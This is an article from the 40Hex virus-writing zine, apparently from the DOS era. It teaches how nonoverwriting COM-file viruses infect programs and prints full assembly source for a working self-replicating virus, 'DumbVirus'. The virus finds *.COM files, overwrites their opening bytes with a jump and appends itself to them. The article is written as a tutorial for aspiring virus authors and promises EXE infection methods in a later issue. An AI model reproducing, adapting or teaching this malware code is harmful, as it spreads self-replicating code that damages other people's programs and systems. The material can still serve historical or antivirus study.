40Hex Number 7 Volume 2 Issue 3                                       File 003

                   ���������������������������������������
                   An Introduction to Nonoverwriting Virii
                                By Dark Angel
                   ���������������������������������������

 It seems that there are quite a few virus writers out there who just sit at
 home and churn out hacks of virii.  Yay.  Anybody with a disassembler and
 some free time can churn out dozens of undetectable (unscannable) variants
 of any given virus in an hour.  Others have not progressed beyond the
 overwriting virus, the type of virus with the most limited potential for
 spreading.  Still others have never written a virus before and would like
 to learn.  This article is designed as a simple introduction to all
 interested to the world of nonoverwriting virii.  All that is assumed is a
 working knowledge of 80x86 assembly language.

 Only the infection of COM files will be treated in this article, since the
 infection routine is, I think, easier to understand and certainly easier to
 code than that of EXE files.  But do not dispair!  EXE infections will be
 covered in the next issue of 40Hex.

 COM files are described by IBM and Microsoft as "memory image files."
 Basically, when a COM file is run, the file is loaded as is into memory.
 No translation or interpretation of any sort takes place.  The following
 steps occur when a COM file is run:

   1) A PSP is built.
   2) The file is loaded directly above the PSP.
   3) The program is run starting from the beginning.

 The PSP is a 256 byte header storing such vital data as the command line
 parametres used to call the program.  The file is located starting at
 offset 100h of the segment where the program is loaded.  Due to the 64K
 limit on segment length, COM files may only be a maximum of 64K-100h bytes
 long, or 65280 bytes.  If you infect a COM file, make sure the final size
 is below this amount or the PSP will get corrupted.

 Since the beginning of the file is at offset 100h in the segment (this is
 the reason for the org 100h at the start of assembly source for com files),
 the initial IP is set to 100h.  The key to understanding nonoverwriting COM
 virii is to remember that once the program is loaded into memory, it can be
 changed at will without affecting the actual file on disk.

 The strategy of an overwriting virus is to write the virus to the beginning
 of the COM file.  This, of course, utterly annihilates the original program.
 This, of course, is lame.  The nonoverwriting virus changes only the first
 few bytes and tacks the virus onto the end of the executable.  The new
 bytes at the beginning of the file cause the program, once loaded, to jump
 to the virus code.  After the virus is done executing, the original first
 few bytes are rewritten to the area starting at 100h and a jmp instruction
 is executed to that location (100h).  The infected program is none the
 worse for the wear and will run without error.

 The trick is to find the correct bytes to add to the beginning of the file.
 The most common method is to use a JMP instruction followed by a two byte
 displacement.  Since these three bytes replace three bytes of the original
 program, it is important to save these bytes upon infection.  The JMP is
 encoded with a byte of 0e9h and the displacement is simply the old file
 length minus three.

 To replace the old bytes, simply use code similar to the following:
   mov di, 100h
   mov si, offset saved_bytes
   movsw
   movsb

 And to return control to the original program, use the following:
   mov di, 100h
   jmp di

 or any equivalent statements.

 When writing nonoverwriting virii, it is important to understand that the
 variables used in the code will not be in their original locations.  Since
 virii are added to the end of the file, you must take the filesize into
 account when calculating offsets.  The standard procedure is to use the
 short combination of statements:

   call oldtrick
 oldtrick:
   pop  bp                           ; bp = current IP
   sub  bp, offset oldtrick          ; subtract from original offset

 After these statements have been executed, bp will hold the difference in
 the new offsets of the variables from the original.  To account for the
 difference, make the following substitutions in the viral code:

   lea dx, [bp+offset variable]
 instead of
   mov dx, offset variable

 and

   mov dx, word ptr [bp+offset variable]
 instead of
   mov dx, word ptr variable

 Alternatively, if you want to save a few bytes and are willing to suffer
 some headaches, leave out the sub bp, offset oldtrick and calculate all
 offsets as per the procedure above EXCEPT you must now also subtract offset
 oldtrick from each of the offsets.

 The following is a short nonoverwriting virus which will hopefully help in
 your understanding of the techniques explained above.  It's sort of cheesy,
 since I designed it to be small and easily understandable.  In addition to
 being inefficient (in terms of size), it fails to preserve file date/time
 and will not infect read-only files.  However, it serves its purpose well
 as a teaching aid.

 --------Tear line----------------------------------------------------------

 DumbVirus segment
 Assume    CS:DumbVirus
 Org 100h                 ; account for PSP

 ; Dumb Virus - 40Hex demo virus
 ; Assemble with TASM /m2

 Start:  db      0e9h     ; jmp duh
         dw      0

 ; This is where the virus starts
 duh:    call    next
 next:   pop     bp                   ; bp holds current location
         sub     bp, offset next      ; calculate net change

 ; Restore the original first three bytes
         lea     si, [bp+offset stuff]
         mov     di, 100h
 ; Put 100h on the stack for the retn later
 ; This will allow for the return to the beginning of the file
         push    di
         movsw
         movsb

 ; Change DTA from default (otherwise Findfirst/next will destroy
 ; commandline parametres
         lea     dx, [bp+offset dta]
         call    set_dta

         mov     ah, 4eh           ; Find first
         lea     dx, [bp+masker]   ; search for '*.COM',0
         xor     cx, cx            ; attribute mask - this is unnecessary
 tryanother:
         int     21h
         jc      quit              ; Quit on error

 ; Open file for read/write
 ; Note: This fails on read-only files
         mov     ax, 3D02h
         lea     dx, [bp+offset dta+30] ; File name is located in DTA
         int     21h
         xchg    ax, bx

 ; Read in the first three bytes
         mov     ah, 3fh
         lea     dx, [bp+stuff]
         mov     cx, 3
         int     21h

 ; Check for previous infection
         mov     ax, word ptr [bp+dta+26]       ; ax = filesize
         mov     cx, word ptr [bp+stuff+1]      ; jmp location
         add     cx, eov - duh + 3              ; convert to filesize
         cmp     ax, cx                         ; if same, already infected
         jz      close                          ; so quit out of here

 ; Calculate the offset of the jmp
         sub     ax, 3                          ; ax = filesize - 3
         mov     word ptr [bp+writebuffer], ax

 ; Go to the beginning of the file
         xor     al, al
         call    f_ptr

 ; Write the three bytes
         mov     ah, 40h
         mov     cx, 3
         lea     dx, [bp+e9]
         int     21h

 ; Go to the end of the file
         mov     al, 2
         call    f_ptr

 ; And write the rest of the virus
         mov     ah, 40h
         mov     cx, eov - duh
         lea     dx, [bp+duh]
         int     21h

 close:
         mov     ah, 3eh
         int     21h

 ; Try infecting another file
         mov     ah, 4fh                        ; Find next
         jmp     short tryanother

 ; Restore the DTA and return control to the original program
 quit:   mov     dx, 80h                        ; Restore current DTA to
                                                ; the default @ PSP:80h
 set_dta:
         mov     ah, 1ah                        ; Set disk transfer address
         int     21h
         retn
 f_ptr:  mov     ah, 42h
         xor     cx, cx
         cwd                                    ; equivalent to: xor dx, dx
         int     21h
         retn

 masker  db      '*.com',0
 ; Original three bytes of the infected file
 ; Currently holds a INT 20h instruction and a null byte
 stuff   db      0cdh, 20h, 0
 e9      db      0e9h
 eov equ $                                      ; End of the virus
 ; The following variables are stored in the heap space (the area between
 ; the stack and the code) and are not part of the virus that is written
 ; to files.
 writebuffer dw  ?                              ; Scratch area holding the
                                                ; JMP offset
 dta         db 42 dup (?)
 DumbVirus    ENDS
              END     Start

 ---------------------------------------------------------------------------

 Do not worry if not everything makes sense to you just yet.  I tried to
 keep the example virus as simple as possible, although, admittedly, the
 explanations were a bit cryptic.  It should all come to you in time.

 For a more complete discussion of nonoverwriting virii, pick up a copy of
 each of the first three parts of my virus writing guide (the phunky, the
 chunky, and the crunchy), where you may find a thorough tutorial on
 nonresident virii suitable for any beginning virus programmer.